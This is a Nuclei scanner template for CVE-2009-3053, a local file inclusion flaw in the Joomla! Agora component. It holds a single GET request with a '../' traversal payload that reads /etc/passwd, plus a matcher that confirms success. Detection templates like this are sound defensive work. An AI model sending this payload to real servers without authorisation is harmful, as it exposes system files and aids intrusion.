id: CVE-2009-3053

info:
  name: Joomla! Agora 3.0.0b  - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Joomla! Agora 3.0.0b (com_agora) allows remote attackers to include and execute arbitrary local files via local file inclusion in the action parameter to the avatars page, reachable through index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Joomla! Agora to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/9564
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/52964
    - https://nvd.nist.gov/vuln/detail/CVE-2009-3053
    - http://www.exploit-db.com/exploits/9564
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2009-3053
    cwe-id: CWE-22
    epss-score: 0.00447
    epss-percentile: 0.74489
    cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla
  tags: cve2009,cve,joomla,lfi,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_agora&task=profile&page=avatars&action=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d6764cb4b529d52e0d26a51550f84b36e18223e98f4a307d05899182a98716db02202966d3cd4659ea4fdf4ece5a885b894911bbeb99dd905500f560300ddbe6117c:922c64590222798bb761d5b6d8e72950